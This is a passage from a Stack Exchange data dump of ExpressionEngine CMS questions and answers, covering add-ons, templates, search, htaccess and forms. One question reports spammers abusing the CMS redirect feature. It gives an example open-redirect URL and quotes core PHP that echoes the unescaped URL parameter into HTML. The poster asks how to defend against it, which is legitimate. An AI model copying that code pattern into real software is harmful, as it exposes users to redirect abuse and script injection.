href=&quot;http://devot-ee.com/add-ons/seoverride&quot; rel=&quot;nofollow&quot;&gt;SEOverride&lt;/a&gt;($) is a similar concept with a different interface, except instead of individual hardcoded inputs you have a simple grid/matrix-like option, where the type of meta data and its values for a given URL are entirely up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used any of these yet but I'm personally going with SEOverride as it allows me to add Facebook Open Graph tags and whatever else I want in the future with relative ease. Don't have to think about what fields to add to which channel, minimal effort for templating, content entry is channel/entry/category agnostic, so it can suit the organization's needs if they decide to change or add things on a whim.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-12-17T22:40:36.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17794" PostTypeId="1" AcceptedAnswerId="17985" CreationDate="2013-12-17T23:58:04.940" Score="4" ViewCount="2755" Body="&lt;p&gt;We are recently seeing a number of external sites trying to leverage the core of EE to use our site to force referrals that look like they are coming from our domain. My assumption is they are trying this to juice up their referrals for search engine rankings. What they do is hit our site with URLs like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.macobserver.com/tmo/?URL=http%3A%2F%2Fexpressionengine.stackexchange.com%2F&quot; rel=&quot;nofollow&quot;&gt;http://www.macobserver.com/tmo/?URL=http%3A%2F%2Fexpressionengine.stackexchange.com%2F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This then redirects from our site to that external site. In doing some digging this is something built into the EE Core:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/expressionengine/libraries/Redirect.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a check that stops the links from auto-redirecting with an interstitial page, but that is only a small bit of protection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($force_redirect == TRUE OR ( ! isset($_SERVER['HTTP_REFERER']) OR !     stristr($_SERVER['HTTP_REFERER'], $host)))&#xA;{&#xA;    // Possibly not from our site, so we give the user the option&#xA;    // Of clicking the link or not&#xA;&#xA;$str = &quot;&amp;lt;html&amp;gt;\n&amp;lt;head&amp;gt;\n&amp;lt;meta http-equiv='Content-Type' content='text/html; charset=utf-8'/&amp;gt;\n&amp;lt;title&amp;gt;Redirect&amp;lt;/title&amp;gt;\n&amp;lt;/head&amp;gt;\n&amp;lt;body&amp;gt;&quot;.&#xA;        &quot;&amp;lt;p&amp;gt;To proceed to the URL you have requested, click the link below:&amp;lt;/p&amp;gt;&quot;.&#xA;        &quot;&amp;lt;p&amp;gt;&amp;lt;a href='&quot;.$_GET['URL'].&quot;'&amp;gt;&quot;.$_GET['URL'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;\n&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to better prevent this kind of &quot;referrer-jacking&quot;?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-10-27T17:32:29.383" Title="How to stop external site redirect hijacking?" Tags="|redirects|security|core|redirection|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17795" PostTypeId="1" AcceptedAnswerId="17848" CreationDate="2013-12-18T00:01:44.083" Score="2" ViewCount="123" Body="&lt;p&gt;I have an area on my homepage for an image. I would like this image to change on a daily basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to queue up images so they are ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i could set a channel for these images and schedule them via expiring etc, but I was thinking there must be an easier way!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-12-19T18:59:42.730" Title="Scheduling / rotating images on a daily basis" Tags="|channel|image|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17796" PostTypeId="2" ParentId="17795" CreationDate="2013-12-18T00:27:56.760" Score="3" Body="&lt;p&gt;If you don't want to use channels, use low variables with a grid field with days of the week as the grid rows. Give each a file upload field and an alt field then use some logic on the template to get the day and call the low var for that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simple example, not verbatim code purely reference&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;date_1    |    imgxx | alt title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;date_2    |    imgyy | alt title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;date_31   |    imgzz | alt title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;my_dates&quot;}&#xA;{grid_field search:date_field=&quot;date_{current_time format=&quot;%j&quot;}&#xA;&amp;lt;img src=&quot;{grid_field_img_column}&quot; alt=&quot;{grid_field_alt_title}&quot; /&amp;gt;&#xA;{/grid_field}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-12-18T06:15:30.537" LastActivityDate="2013-12-18T06:15:30.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17797" PostTypeId="1" CreationDate="2013-12-18T00:43:36.323" Score="0" ViewCount="378" Body="&lt;p&gt;I have a created a website using expression engine.  I would like to integrated search capability with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;could some provide a sample code of how to integrate search and results in expression engine.  I tried to copy and paste the following from here but it doesn't show any results.:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#par_result_page&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#par_result_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:search:simple_form}&#xA;            &amp;lt;p&amp;gt;&#xA;                    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                    &amp;lt;a href=&quot;{path='search/index'}&quot;&amp;gt;Advanced Search&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;    {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2013-12-18T15:03:05.930" Title="Example of Simple search form" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17798" PostTypeId="1" AcceptedAnswerId="17804" CreationDate="2013-12-18T01:17:09.583" Score="2" ViewCount="97" Body="&lt;p&gt;It seems I can't access certain indexed entries in a collection. &#xA;Here are my form and results tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form channel=&quot;exposiciones|eventos|talleres|publicaciones&quot; query=&quot;{segment_3}&quot; result_page=&quot;search/results&quot; no_result_page=&quot;search/noresults&quot; search_in=&quot;everywhere&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; status=&quot;not closed&quot; where=&quot;all&quot; form_class=&quot;search_form&quot; form_id=&quot;my_search_form&quot; secure=&quot;no&quot; loose_ends=&quot;yes&quot;}&#xA;&#xA;{exp:low_search:results&#xA;      query=&quot;{segment_3}&quot;&#xA;      status=&quot;not draft&quot; &#xA;      collection=&quot;exposiciones&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use Low Search to divide my results sets into different collections. But even if I use  collection=&quot;all&quot; and keyword =&quot;&quot; I get all results but the ones I cant access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The missing entries have a a custom Status, which is NOT part of the default &quot;Statuses&quot; group! Could this be the reason I cannot access them?&lt;/p&gt;&#xA;" OwnerUserId="2512" LastEditorUserId="172" LastEditDate="2013-12-18T07:33:10.033" LastActivityDate="2013-12-18T07:33:10.033" Title="Why are certain indexed entries being excluded from results? Could it be the special Status?" Tags="|search|low-search|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17799" PostTypeId="2" ParentId="17795" CreationDate="2013-12-18T01:23:40.177" Score="6" Body="&lt;p&gt;Your option is a good one and not hard at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of expiring the entries, I would future date them and set limit=&quot;1&quot; on your channel:entries tag. This way an entry will always appear. With expiring you risk human error causing an image not appearing. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-18T01:23:40.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17800" PostTypeId="1" AcceptedAnswerId="17807" CreationDate="2013-12-18T04:29:41.703" Score="2" ViewCount="388" Body="&lt;p&gt;With Stash, is it possible to store pieces of EE channel entry data and insert it based on a count or some other logic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a three column bootstrap grid below that splits an entry's data into two parts in the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I store and get the data based on a count or some other logic using Stash and Switch? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.row&#xA;- col {entry 1}&#xA;- col {entry 2}&#xA;- col {entry 3}&#xA;&#xA;.row-two&#xA;- col {entry 1 data}&#xA;.row-two&#xA;- col {entry 2 data}&#xA;.row-two&#xA;- col {entry 3 data}&#xA;&#xA;.row&#xA;- col {entry 4}&#xA;- col {entry 5}&#xA;- col {entry 6}&#xA;&#xA;.row-two&#xA;- col {entry 4 data}&#xA;.row-two&#xA;- col {entry 5 data}&#xA;.row-two&#xA;- col {entry 6 data}&#xA;&#xA;-etc-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1387" LastEditorUserId="1387" LastEditDate="2013-12-18T12:30:55.640" LastActivityDate="2013-12-18T13:10:49.053" Title="Split channel entry data into rows / columns with stash" Tags="|stash|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17801" PostTypeId="1" AcceptedAnswerId="17803" CreationDate="2013-12-18T06:07:28.400" Score="2" ViewCount="36" Body="&lt;p&gt;{if author_id == logged_in_member_id OR logged_in_group_id == &quot;1&quot;} Edit This Page &amp;uArr;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added a second logged in group id &quot;6&quot; However, when I change this from 'logged_in_group_id == &quot;1&quot;' to 'logged_in_group_id == &quot;1|6&quot;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it don't work… &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I make this so both id == &quot;1&quot; and id == &quot;6&quot; can login? &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-12-18T15:33:20.237" Title="Editing pages from outside the Control Pane with two group id's" Tags="|control-panel|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17802" PostTypeId="2" ParentId="17697" CreationDate="2013-12-18T06:10:28.353" Score="4" Body="&lt;p&gt;I like the &lt;a href=&quot;http://devot-ee.com/add-ons/variables&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Variables plugin&lt;/strong&gt;&lt;/a&gt; for pushing meta data from my templates to my header. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The variables plugin gives the possibility to create variables (either static or dynamic) and use them later on. This means that for example &lt;strong&gt;&lt;em&gt;you can set certain data and use it in the head (if it's embedded) without having to re-create a tag pair for the specific channel&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Inside your channel:entries loop (or wherever) you SET a variable like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}            &#xA;    {!-- SET VARIABLE FOR USE IN HEADER --}&#xA;    {exp:variables:set name=&quot;title&quot; value=&quot;{title}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your header you &quot;GET&quot; the variable like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:variables:get name='title'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lets you build exactly what you need for your project.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This won't help with site map. Unless a site is using the Structure Module, I think it's best to build the sitemap manually in a template to allow for ultimate control. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-18T06:16:37.400" LastActivityDate="2013-12-18T06:16:37.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17803" PostTypeId="2" ParentId="17801" CreationDate="2013-12-18T06:19:36.293" Score="4" Body="&lt;p&gt;Adding another OR should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if author_id == logged_in_member_id OR &#xA;    logged_in_group_id == &quot;1&quot; OR  &#xA;    logged_in_group_id == &quot;6&quot;&#xA;} &#xA;    Edit This Page ⇑&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="209" LastEditDate="2013-12-18T15:33:20.237" LastActivityDate="2013-12-18T15:33:20.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17804" PostTypeId="2" ParentId="17798" CreationDate="2013-12-18T07:29:52.990" Score="0" Body="&lt;p&gt;First of all, Low Search doesn't work like EE's Simple Search. Most of the attributes you have set on the Form tag will do nothing, especially since Low Search v3. The &lt;code&gt;no_result_page&lt;/code&gt;, &lt;code&gt;search_in&lt;/code&gt; and &lt;code&gt;where&lt;/code&gt; attributes do not belong to Low Search. Only &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;these parameters&lt;/a&gt; are valid for the Form tag. Move the others to the Results tag instead. So you'll get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;    query=&quot;{segment_3}&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;    form_class=&quot;search_form&quot;&#xA;    form_id=&quot;my_search_form&quot;&#xA;}&#xA;    ...&#xA;{/exp:low_search:form}&#xA;&#xA;{exp:low_search:results&#xA;    query=&quot;{segment_3}&quot;&#xA;    collection=&quot;exposiciones&quot;&#xA;    channel=&quot;exposiciones|eventos|talleres|publicaciones&quot;&#xA;    show_expired=&quot;yes&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;    status=&quot;not closed&quot;&#xA;    loose_ends=&quot;yes&quot;&#xA;}&#xA;    ...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A couple of things could cause an entry to not show up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have specified both &lt;code&gt;collection&lt;/code&gt; and &lt;code&gt;channel&lt;/code&gt;. Only entries from the channel associated with the given &lt;code&gt;collection&lt;/code&gt; will be returned.&lt;/li&gt;&#xA;&lt;li&gt;The keywords given should contain terms that are present in the collection index. If the term is in a field that has 0 weight, the entry will not be returned, as the field is not part of the index.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Remember, the Results tag works just like the native channel:entries tag, just with added goods.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-18T07:29:52.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17805" PostTypeId="1" AcceptedAnswerId="17809" CreationDate="2013-12-18T10:11:11.777" Score="1" ViewCount="182" Body="&lt;p&gt;I wanted to rename my system folder. But when I do so and point my browser to the new cp url I create a infinite reload loop and chrome goes nuts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Renamed system folder &lt;strong&gt;&lt;em&gt;Check&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Renamed system url in admin.php and index.php &lt;strong&gt;&lt;em&gt;Check&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've done it x times on the same environment and suddenly this loop error appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my .htaccess I have the new remove index.php directives from the ellislab blog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First I thought this could be the error but it also doesn't work with the old index.php removal code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody experienced the same behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v 2.72&#xA;PHP : 5.5.3&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-12-18T14:45:05.183" Title="Renaming System Folder - Creates reload loop" Tags="|htaccess|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17806" PostTypeId="2" ParentId="2429" CreationDate="2013-12-18T10:26:03.097" Score="1" Body="&lt;p&gt;Possibly safecracker_file. Gave me some further problems after removing/replacing third part folder.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-12-18T10:26:03.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17807" PostTypeId="2" ParentId="17800" CreationDate="2013-12-18T13:10:49.053" Score="3" Body="&lt;p&gt;You can capture the entries as a Stash list and use fractions to split into parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting the list:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D#capturing-channel-entry-data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D#capturing-channel-entry-data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting the list and using fractions:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D#using-fractions-to-split-lists&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D#using-fractions-to-split-lists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-12-18T13:10:49.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17809" PostTypeId="2" ParentId="17805" CreationDate="2013-12-18T14:45:05.183" Score="5" Body="&lt;p&gt;Change the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line in htaccess to match the new system folder name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !/new_system_folder_name/.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-18T14:45:05.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17810" PostTypeId="2" ParentId="17797" CreationDate="2013-12-18T15:03:05.930" Score="1" Body="&lt;p&gt;Creating and configuring the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html&quot; rel=&quot;nofollow&quot;&gt;simple search form&lt;/a&gt; is task one and setting up the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html&quot; rel=&quot;nofollow&quot;&gt;results template&lt;/a&gt; is task two for your search setup.  If you follow the general examples provided in the documentation, you'll likely get most of the way there.  The simple search tags you provided above lack a few key things - the channels you wish to have searched, the nature of the search (search_in parameter), and the results page.  There are other parameters you can take advantage of to refine how the search works.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-18T15:03:05.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17811" PostTypeId="1" CreationDate="2013-12-18T15:37:39.530" Score="1" ViewCount="221" Body="&lt;p&gt;ExpressionEngine 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have an EE/MSM install that's managing 2 different websites (desktop and mobile). I'm building a tool that allows the administrators to generate custom URLs and I need to output the Pages module URLs for both websites. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;page&quot; id=&quot;page&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select Page...&amp;lt;/option&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;Desktop Site&quot;&amp;gt;&#xA;        {exp:channel:entries channel='content_page|coupons_page|garage_door_repair_page' show_pages='only' sort='asc' orderby='title' dynamic='no' site='default_site'}&#xA;            &amp;lt;option value=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;        {/exp:channel:entries}                          &#xA;    &amp;lt;/optgroup&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;Mobile Site&quot;&amp;gt;&#xA;        {exp:channel:entries channel='content_page' show_pages='only' sort='asc' orderby='title' dynamic='no' site='mobile_site'}&#xA;            &amp;lt;option value=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;        {/exp:channel:entries}  &#xA;    &amp;lt;/optgroup&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default site code (first channel:entries tag) outputs as I'd expect. On the mobile site entries (second channel:entries tag), though, no entries are output at all. If I remove the show_pages attribute the entries will output but the {page_url} outputs blank. I've checked every entry on the mobile site (there's only 3) and all of them have page URLs that are working normally. The template this code resides in lives on the desktop site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-12-18T15:37:39.530" Title="How to get page_url's of entries in other sites (MSM)" Tags="|multi-site-manager|pages|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17812" PostTypeId="1" CreationDate="2013-12-18T16:32:23.233" Score="0" ViewCount="17" Body="&lt;p&gt;I had an issue with my MSM where it didnt allow me to &quot;Submit&quot; my entry and I have googled for the error and then I came across an answer which said to delete the &quot;Pages&quot; module. I did so and I didnt realize that I was going to hit hard by that step. Alfter I did that all my URLs got messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have around 1000 channels which basically make up my college website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can restore all the URLs..?? Please help me out with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its really urgent and Please Please Please help me out ...!!&lt;/p&gt;&#xA;" OwnerUserId="2513" LastActivityDate="2013-12-18T16:32:23.233" Title="Deleted Pages URI Module and my site crashed..!" Tags="|pages|" AnswerCount="0" CommentCount="2" ClosedDate="2013-12-18T17:23:53.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="17813" PostTypeId="1" CreationDate="2013-12-18T16:39:36.537" Score="2" ViewCount="90" Body="&lt;p&gt;I had an issue with my MSM where it didnt allow me to &quot;Submit&quot; my entry and I have googled for the error and then I came across an answer which said to delete the &quot;Pages&quot; module. I did so and I didnt realize that I was going to hit hard by that step. Alfter I did that all my URLs got messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have around 1000 channel entries which basically make up my college website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can restore all the URLs..?? Please help me out with this.&lt;/p&gt;&#xA;" OwnerUserId="2513" LastEditorUserId="197" LastEditDate="2013-12-18T19:51:38.113" LastActivityDate="2013-12-18T19:51:38.113" Title="Uninstalled the Pages URI module and then re-installed it again... lost all my data and my site crashed.... HOW TO RESTORE" Tags="|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17814" PostTypeId="2" ParentId="17813" CreationDate="2013-12-18T16:41:35.193" Score="4" Body="&lt;p&gt;I would recommend restoring the site from a backup.  Your host provide should be able to help you gain access to the backups of the file system and of the database, if you don't have direct access yourself and/or you don't have a separate backup available.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-18T16:41:35.193" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17815" PostTypeId="2" ParentId="17768" CreationDate="2013-12-18T17:31:30.593" Score="2" Body="&lt;p&gt;Yes, you need to add the form_id parameter so freeform knows which table to lookin for hte entry_id.  Each form gets it's own table to store data in.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-18T17:31:30.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17816" PostTypeId="1" CreationDate="2013-12-18T17:32:45.447" Score="2" ViewCount="53" Body="&lt;p&gt;Does CartThrob allow multiple carts? Is it possible to have 2 unique carts? 1 is a standard cart.  1 is a &lt;strong&gt;custom gift box&lt;/strong&gt; cart — customers will fill up this cart with products that they are sending as a &lt;strong&gt;custom gift boxes&lt;/strong&gt; to someone. We don't want to use 1 cart because then we have to deal with multiple shipping addresses and we want these &lt;strong&gt;custom gift box orders&lt;/strong&gt; to be made up of individual product SKUs from our product catalog. LemonStand uses &lt;a href=&quot;http://lemonstand.com/api/class/shop_cartitem/#cart_name-property&quot; rel=&quot;nofollow&quot;&gt;cart_name&lt;/a&gt; for cart assignment.&lt;/p&gt;&#xA;" OwnerUserId="2516" LastActivityDate="2014-01-31T05:26:06.673" Title="Does CartThrob allow multiple carts?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17817" PostTypeId="1" AcceptedAnswerId="17825" CreationDate="2013-12-18T17:45:00.850" Score="2" ViewCount="997" Body="&lt;p&gt;I have a freeform form with a select field allowing the user to select from 5 possible recipients. I do not want to have any of the recipients selected by default - the user must select one. I would like the recipient select field to be a required field.  So, if the user does not select a recipient, an error message will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that other people have done it the way I have, so I'm assuming I've used the right method, but for some reason it doesn't work. If I leave the select field empty, the form will still submit (but obviously not get sent anywhere because a recipient has not been selected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;  form_id=&quot;1&quot;&#xA;  required=&quot;recipient_email|name|email|message&quot;&#xA;  inline_errors=&quot;yes&quot;&#xA;  form:id=&quot;enquiry-form&quot;&#xA;  return=&quot;contact/success&quot;&#xA;  recipients=&quot;yes&quot;&#xA;  recipients_limit=&quot;5&quot;&#xA;  recipient_template=&quot;enquiry_email&quot;&#xA;  recipient1=&quot;Option 1|name@example.com&quot;&#xA;  recipient2=&quot;Option 2|name@example.com&quot;&#xA;  recipient3=&quot;Option 3|name@example.com&quot;&#xA;  recipient4=&quot;Option 4|name@example.com&quot;&#xA;  recipient5=&quot;Option 5|name@example.com&quot;&#xA;}&#xA;  {if freeform:general_errors}&#xA;    &amp;lt;h2&amp;gt;There were some error(s) with your submission:&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {freeform:general_errors}&#xA;      &amp;lt;li&amp;gt;{freeform:error_message}&amp;lt;/li&amp;gt;&#xA;      {/freeform:general_errors}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/if}&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-xs-12 {if freeform:error:recipient_email}has-error{/if}&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;recipient_email&quot;&amp;gt;I have an enquiry about... &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;select class=&quot;form-control&quot; name=&quot;recipient_email&quot; id=&quot;recipient_email&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;        {freeform:recipients}&#xA;          &amp;lt;option 